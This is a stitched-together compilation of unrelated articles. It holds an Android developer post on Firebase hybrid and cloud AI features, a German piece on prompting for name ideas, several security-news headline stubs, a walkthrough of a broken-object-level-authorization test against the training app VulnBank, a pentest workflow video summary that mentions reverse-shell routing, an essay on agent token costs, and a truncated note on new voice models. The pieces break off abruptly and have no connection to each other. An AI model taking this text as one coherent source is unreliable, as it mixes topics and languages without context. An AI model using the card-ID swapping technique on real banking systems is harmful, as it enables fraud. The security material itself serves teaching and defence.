Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

• Grounding answers in real-world context
• Routing requests dynamically between cloud and local execution using hybrid inference
• Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

• a museum assistant with web grounding
• hybrid restaurant review drafting
• hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as 

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 

Grounding data is added to the context window to enable the model

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

• URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
• Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
• Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

• PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
• PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
• ONLY_ON_DEVICE: Restricts execution strictly to the device.
• ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 

Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

• Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
• On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
• Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Wenn Sie einen KI-Chatbot darum bitten, Namen für einen Podcast, ein WLAN-Netzwerk oder ein kleines Unternehmen zu entwickeln, werden Sie wahrscheinlich eine Liste mit Vorschlägen erhalten, die ein wenig unkreativ ist.

Große Sprachmodelle wie ChatGPT, Claude und Gemini haben kein Problem damit, ein Dutzend Namen für Ihr Lieblingsprojekt oder Ihre Website zu generieren. Aber ein Dutzend Namen zu erhalten, die wirklich vielfältig, einzigartig und einprägsam sind? Das ist deutlich schwieriger – aber dennoch möglich. Sie müssen nur wissen, wie Sie die Modelle auf die richtige Weise in verschiedene Richtungen lenken können.

Bitten Sie ChatGPT zunächst nicht nur um 10 oder 20 Ideen, sondern um 100. Eine Studie der Wharton School [PDF] legt nahe, dass die Ideen, wenn Sie eine KI um so viele Ideen bitten, umso interessanter werden, je weiter Sie in der Liste nach unten gehen. Dies ist der „Dump“-Teil dieser zweistufigen Prompt-Technik.

In der zweiten Stufe bitten Sie ChatGPT, die Liste zu durchforsten, nach ähnlichen Einträgen zu suchen und diese durch neue zu ersetzen – alles mit dem Ziel, eine möglichst breite und vielfältige Ideensammlung zu schaffen.

Hier ist ein Beispiel für die erste Stufe der Eingabeaufforderung:

Gib mir 100 Ideen zu [Thema X]. Nummeriere diese von 1 bis 100. Gib für jede Idee nur einen kurzen Titel oder Namen an – keine Erklärungen, keine Beschreibungen. Beziehe alles mit ein, auch offensichtliche, schlechte, seltsame oder unausgereifte Antworten. Filtere nicht nach Qualität; das folgt später. Quantität ist das einzige Ziel.

Sobald die KI ihre Liste geliefert hat, fahren Sie mit der zweiten Phase fort:

Überarbeite nun die Liste im Hinblick auf maximale Vielfalt. Wo immer zwei oder mehr Ideen auf demselben Grundkonzept beruhen, behalte die beste davon bei und ersetze die anderen durch Ideen aus Blickwinkeln, die sonst nirgendwo auf der Liste abgedeckt sind. Das Ziel sind 100 Ideen, bei denen keine zwei auf dasselbe zugrunde liegende Konzept verweisen – sie müssen sich in ihrer Art unterscheiden, nicht nur im Wortlaut.

Optional können Sie mit einer Eingabe für die dritte Phase fortfahren, die die KI dazu veranlasst, die Liste nach Qualität zu filtern (ich empfehle jedoch, alle 100 Ideen der zweiten Phase selbst durchzugehen):

Was sind die 10 interessantesten Ideen auf der zweiten Liste?

Ich habe diese „100-Ideen“-Anweisung (die ich aus einer in der oben genannten Wharton-Studie vorgestellten Anweisungskombination adaptiert habe) für einen lang gehegten Traum ausprobiert: die Eröffnung meines eigenen Cafés. Eine der größten Hürden ist natürlich die Wahl eines einfallsreichen Namens, also habe ich diese zweistufige Anweisung gestartet.

Ich möchte Sie nicht mit der gesamten Liste der Vorschläge langweilen, die ich erhalten habe. Aber hier sind die ersten 10 aus der ursprünglichen Auswahl:

• The Daily Grind
• Bean There
• Brewed Awakening
• Central Perk
• The Coffee House
• Morning Cup
• Java Junction
• Common Grounds
• Cup & Bean
• The Roasted Bean

Dabei kamen die üblichen Verdächtigen heraus, bis hin zum „Central Perk“ aus der Serie Friends. Aber auch einige interessante Wortwitze.

Nach der Aufforderung der zweiten Stufe und der optionalen dritten Stufe („Nenne mir die 10 interessantesten Namen aus der zweiten Liste“) kam ich schließlich auf folgende Ergebnisse:

• Warm Noise
• Morning Object
• Public Living Room
• Moth & Match
• Localhost
• Borrowed Sugar
• Unfinished Sentence
• Blue Hour
• The Loading Bar
• Sunday Weather

Das sind wirklich ungewöhnliche, unkonventionelle Ideen für den Namen meines zukünftigen Cafés. Einige davon sind ein wenig techniklastig („Localhost“) oder einfach nur seltsam („Morning Object“), andere hingegen haben meine Aufmerksamkeit geweckt. „Blue Hour“ und „Borrowed Sugar“ gefallen mir tatsächlich sehr gut.

Probieren Sie diese zweistufige „100-Ideen“-Übung doch einmal aus, wenn Sie das nächste Mal Ideen benötigen. Selbst wenn dabei nicht gleich der perfekte Name für ein Café, einen Podcast oder einen Blog herauskommt, wird sie zumindest Ihre Kreativität anregen.

ChatGPT im Alltag – 16 lästige Aufgaben, die KI für Sie erledigen kann

Hören Sie auf, ChatGPT Ihre Texte schreiben zu lassen – Versuchen Sie das stattdessen

Read more →

The post Council worker gets suspended sentence for data snooping appeared first on IT Security News.

Read more →

The post Council worker spared prison after four-day data-snooping spree appeared first on IT Security News.

There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.

This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in VulnBank, an intentionally vulnerable banking application built for security training.

What Is BOLA, Actually?

Broken Object Level Authorization sits at #1 on the OWASP API Security Top 10 (API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.

The core idea in one sentence: the server correctly checks who you are, but never checks what you’re allowed to touch.

Any API endpoint that takes an object identifier — a card_id, account_number, order_id — needs to answer two separate questions:

1. Authentication: is this a valid, logged-in user?
2. Authorization: should this specific user be allowed to access this specific object?

BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.

The vulnerable version:

SELECT * FROM cards WHERE id = :card_id

The fixed version:

SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id

That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.

So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.

Setting the Stage: Two Users, Two Cards

Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.

User 1 — Jhonny

• I created a virtual card with a $2,500 limit.

• I then funded it with $80 from the main balance.

With the funding request captured in Burp Suite, I sent it to Repeater for closer inspection, this is the request whose card_id parameter would become the centerpiece of the whole test.

User 2 — Alex

Same setup:

• A fresh virtual card of $2,500 limit.

• Funded with $100.

• And the same treatment — captured the request and sent it to Repeater.

Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.

Step One: Does the App Even Check Who You Are?

Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.

401 Unauthorized: "Token is missing."

Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check which authenticated user is making the request, or just that one is?

Step Two: The Swap

This is the actual test, and it’s almost anticlimactic in how simple it is.

I took Jhonny’s valid token and used it to fund Alex’s card:

200 OK. The card funded successfully with Jhonny's session authorizing a change to Alex's card.

Then I reversed it, Alex’s token, aimed at Jhonny’s card:

200 OK again. Same result, opposite direction.

Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever card_id showed up in the URL, against whichever authenticated user happened to be making the call.

Why This Isn’t “Just a Feature”

The first pushback any BOLA finding gets is: “Couldn’t this just be an intentional transfer feature?”

It’s a fair question, and worth addressing directly.

The answer is NO, for a few concrete reasons:

• There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.
• Neither Jhonny nor Alex received any notification or gave any consent.
• The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.
• Both requests used each user’s own main balance and own token throughout, nothing about the flow resembled a designed transfer mechanism.

A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.

The Fix

The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:

• Every object-level query needs an explicit ownership check tied to the authenticated session: WHERE card_id = ? AND user_id = ?
• Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint
• Make cross-account testing a standard part of QA and code review: test with two different authenticated accounts against each other’s objects, not just each account against its own.

The Takeaway

BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.

In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.

Authentication tells a server who is asking. Authorization is the separate and often forgotten question of what they’re allowed to ask for?. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.

This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.

I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Officials Vow Crackdown on Chinese Money Laundering Operations 

Investigation and Legal Proceedings Continue 

SUMMARY

The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.

ONE-SENTENCE TAKEAWAY

Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.

TOOLS

• Talon Voice – Open-source voice recognition software enabling hands-free computer control and command execution.
• Obsidian – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.
• AutoHotkey – Windows scripting utility for creating custom macros and remapping keyboard inputs.
• Chrome Debug Commands – Browser developer tools allowing direct inspection of extensions, cookies, and storage.
• Whisper Diarization – Audio processing script that separates speaker tracks and converts recordings to searchable text.
• Hyper-V / WSL – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.
• OpenConnect / OpenVPN – Command-line tunneling clients used for establishing secure, split-tunnel network connections.
• Jamboree Framework – Portable PowerShell environment that dynamically provisions development tools without altering system paths.
• MOBA Portable – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.
• Nmap – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.

00:00:00 Ergonomic Workspace Configuration

Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.

• Monitor Positioning – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.
• Split Keyboard Layout – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.
• Postural Adaptation – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.

01:45:00 Voice Control & Note Synchronization

Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.

• Talon Voice Integration – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.
• Obsidian Migration – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.
• Note Categorization – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.

03:50:00 Browser Extension Management & Security Isolation

Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.

• Jailed User Accounts – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.
• Shared Folder Synchronization – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.
• Extension Audit Process – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.

06:15:00 Training Optimization & Audio Processing

Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.

• Global Speed Control – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.
• Whisper Diarization Pipeline – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.
• Download Management – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.

10:40:00 Virtualization & Network Tunneling Protocols

Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.

• Enhanced Session Mode – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.
• Split Tunneling Mechanics – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.
• Certificate Verification – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.

15:30:00 Macro Automation & Input Remapping

Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.

• Caps Lock Repurposing – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.
• Physical Typing Macros – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.
• Administrator Execution Requirement – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.

20:15:00 Portable Development Environments & Python Management

Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.

• Jamboree Framework – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.
• NuGet Package Filtering – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.
• Binary Verification Process – Checks extracted archives for bundled pip.exe or pip3.exe executables, eliminating manual module installation steps during rapid deployments.

28:40:00 AI-Assisted Scripting & Debugging Workflows

Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.

• Vibe Coding Approach – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.
• Parameter Standardization – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.
• Temporary Storage Management – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.

35:10:00 Terminal Emulation & Advanced Tunneling Strategies

Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.

• MOBA Portable Configuration – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.
• Reverse Shell Routing – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.
• Proxy Chain Integration – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.

42:30:00 Final Connectivity Testing & Engagement Wrap-Up

Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.

• Nmap Verification – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.
• Connection Refusal Documentation – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.
• Workflow Reflection – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.

Provide feedback on this episode.

The post Ransomware negotiator who betrayed clients sentenced to 70 months in prison appeared first on Help Net Security.

The reason is simple: While inference costs plummet, agent systems are voraciously consuming tokens faster than prices are declining. For the last 2 decades, software economics was dictated by the same rule. Infra became cheaper every year whereas applications became more capable. AI was initially hypothesized to follow the same pattern. As frontier models improved and token prices dropped, many assumed inference would become a negligible operating expense.That assumption has begun crumbling exponentially. 

A chatbot usually turns one user question into one model call. An agent turns it into a chain of planning, retrieval, tool use, verification, summarization, and follow-up decisions. The user sees one answer. The vendor pays for the loop. That is the 100x problem: The same user-visible request can cost a lot  more to serve as an agentic workflow than as a chatbot or retrieval-augmented generation (RAG) response. In longer-running workflows, the multiplier is higher. Falling model prices help, but they do not fix a product architecture that turns one prompt into dozens of billable operations.

The scale of what is now at stake is clear in how model providers themselves are pricing developer relationships. OpenAI's proposed program to give every Y Combinator startup $2 million in API credits — a number that would have funded an entire seed round in any prior tech cycle, and when the same cohort got by on a few thousand dollars of AWS credits — is less a recruiting perk than an admission of what it now costs to run an AI-native company through its first year of product. For established enterprises retrofitting agents into existing product lines, the absolute numbers are larger still.

What token amplification is

In a single-turn chatbot, one user message produces roughly one model call. Input-to-billed ratio is about 1:5.

In a multi-step agent rolled out across customer support, sales operations, finance, legal review, and engineering, that ratio routinely lands at 1:700 or higher. Every loop iteration carries forward the cumulative conversation, tool outputs, and reasoning traces. Each step appends; nothing is dropped.

A "simple" agent query like “What did our top customer ask about last week?” typically touches seven priced operations before returning an answer:

1. User prompt (~50 tokens)

2. System prompt and tool definitions (~3,000 tokens, repeated on every call)

3. Retrieval (~5,000 tokens of context)

4. Model call #1 — tool selection (8,000 in / 200 out)

5. Tool execution (~4,000 tokens returned)

6. Model call #2 — summarization (12,000 in / 400 out)

7. Model call #3 — follow-up decision (12,400 in / 100 out)

One sentence in, roughly 35,000 input tokens billed. Somewhere between $0.10 and $0.40 per query on a frontier model. Multiply that by a million queries a month — the table-stakes volume for any enterprise B2B feature — and the line item is six figures.

Why this breaks the existing AI business model

The dominant pricing story for enterprise AI has been seat-based SaaS: Pay per-user per-month, deliver agent capability, capture margin. That model assumes a reasonably bounded cost-per-user.

Token amplification breaks the assumption. A power user running 50 agent invocations a day on a $40/seat plan can cost more in inference than the plan charges. Token amplification shatters the traditional SaaS pricing model. When a power user’s daily agent activity costs more in inference than their monthly subscription fee, vendor gross margins turn negative, a paradox that compounds as customers deepen their agent adoption, the very usage curve vendors are selling to their boards. Several vendors are now privately reporting negative gross margins on heavy users, mirroring recent cloud expenditure reports from the Bessemer 'Supernova' cohort, where the correlation between AI-agent adoption and gross margin contraction has moved from a theoretical risk to a primary P&L headwind.

The visible symptoms have started leaking into public coverage. Bloomberg this week documented a widening gap between Salesforce's Agentforce marketing demos and the capabilities actually shipping to customers. This is the kind of gap that opens predictably when promised functionality is technically possible but uneconomical to serve at the price the seat plan implies. Salesforce is the most-watched case, not a unique one.

"For my team, the cost of compute is far beyond the costs of the employees." — Bryan Catanzaro, VP of Applied Deep Learning, Nvidia

The strategic implication is not "AI is expensive." It is that the dominant business model assumed by most AI-native company plans does not survive contact with agentic workloads.

A simple example

Consider an enterprise software vendor charging $40 per-user per-month for an AI-enabled support assistant. A traditional chatbot might cost only a few cents per user per day in inference, leaving healthy gross margins.

Now replace that chatbot with a fully agentic workflow capable of investigating tickets, querying internal systems, drafting responses, validating outputs, and escalating exceptions. If a heavy user executes 50 to 100 agent requests per day, inference consumption can increase by an order of magnitude. What was once a negligible infrastructure cost becomes a material operating expense.

This creates an unusual dynamic: The customers receiving the most value from the product are often the customers generating the highest inference costs. In extreme cases, vendors can find themselves with their most engaged users contributing the least profit. The result is a growing realization across enterprise software that agent adoption and margin expansion are no longer automatically aligned.

Agent orchestration is the new moat

The technical responses are known and converging. They are not novel, but they are critical for survival

• Cost-aware routing: This technique involves a small classifier model that decides which tier (Haiku, Sonnet, Opus equivalents) handles each query. Well-tuned routers cut inference bills by around 60% without any degradation in quality

• Prompt caching: Anthropic, OpenAI, and Google now offer 75 to 90% discounts on cached prefixes. 

• Context discipline: You can truncate tool outputs, prune reasoning traces, and cap tool depth to prevent your agent from going down a rabbit hole

• Speculative decoding: for self-hosted deployments, this technique guarantees 2 to 3X effective throughput on the same GPUs.

"Organizations using orchestration-led governance report stronger productivity gains — a holistic orchestration layer is associated with six times greater productivity impact than compliance‑only approaches" — IBM

The companies building this layer well are starting to look less like microservice operators and more like financial trading systems: Every routing decision priced, every path with its own P&L, every tenant on a metered budget.

What enterprise leaders should actually do

Four moves separate the companies that will still have margin in 24 months from the ones that won't:

1. Make inference cost a first-class metric. Track it per-feature, per-tenant, per-query class the same way cloud cost was tracked starting in the mid-2010s.

2. Budget like a media buyer. Set cost-per-thousand-queries ceilings per feature. Cap them. Alert on overruns. Engineering will not enforce this on its own.

3. Treat the router as core infrastructure, not an optimization. It is the new load balancer.

4. Audit prompts quarterly. A 4,000-token system prompt that grew organically over six months is a six-figure bill in slow motion. Most teams have never read their own production prompts end to end.

5. Negotiate volume commits early. Frontier-model vendors now offer reserved-instance-style prepaid commits at substantial discounts. List price is the worst price any enterprise will ever pay.

The next 24 months

The structural shift underneath agentic AI is not that it is expensive. As DeepSeek's price cut today underscores, frontier inference unit costs are dropping roughly 3X per year, and the curve is not slowing.

The shift is that amplification is outrunning the price cuts. Cutting per-token costs 75% does not help a company whose agents are doing 700X more tokens per user query than its pricing model assumed. For the first time since the cloud era began, architecture decisions are again financial decisions in real time. A prompt redesign is a margin event. A poorly bound agent loop is an outage with a credit card attached.

The companies that survive the next 24 months of AI infrastructure pricing will not be the ones running the cheapest model. They will be the ones whose agents are smart and know what they cost to think.

That is the 100X problem. And it is arriving faster than the price cuts can hide it.

Maitreyi Chatterjee is a senior software engineer at a big tech company.

Devansh Agarwal works as an ML engineer at a leading tech company.

The post Ransomware Negotiator Jailed for Leaking Victim Secrets to BlackCat Hackers appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The two models, GPT-Live-1 and GPT-Live-1 mini, are rolling out globally starting today across iOS, Android, and ChatGPT.com. GPT-Live-1 becomes the default voice model for paid ChatGPT users on the Go, Plus, and Pro tiers, while GPT-Live-1 mini serves free-tier users. OpenAI also plans to bring the models to the API, and developers can sign up to be notified.

The release marks the third generation of ChatGPT's voice technology in roughly two years — and OpenAI's clearest bid yet to turn its chatbot into something that feels less like querying a search engine and more like talking to a colleague.

Why full-duplex voice changes everything about talking to AI

